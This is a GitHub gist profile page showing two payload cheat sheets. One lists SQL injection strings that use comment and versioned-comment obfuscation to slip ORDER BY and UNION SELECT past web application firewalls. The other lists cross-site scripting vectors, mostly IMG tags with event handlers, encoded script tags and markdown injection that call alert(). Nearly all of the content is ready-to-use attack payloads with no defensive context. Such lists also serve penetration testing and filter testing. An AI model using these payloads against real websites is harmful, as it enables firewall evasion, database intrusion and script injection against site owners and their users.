Skip to content

Instantly share code, notes, and snippets.

View zetc0de's full-sized avatar

zetc0de zetc0de

57 followers · 53 following
View GitHub Profile
@zetc0de
zetc0de / sqli-bypass-waf.txt
Created June 26, 2018 17:52
Bypass WAF Sql Injection
[~] order by [~]
/**/ORDER/**/BY/**/
/*!order*/+/*!by*/
/*!ORDER BY*/
/*!50000ORDER BY*/
/*!50000ORDER*//**//*!50000BY*/
/*!12345ORDER*/+/*!BY*/
[~] UNION select [~]
@zetc0de
zetc0de / xss_vectors.txt
Last active September 13, 2021 22:12 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
![xss" onload=alert(1);//](a)
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">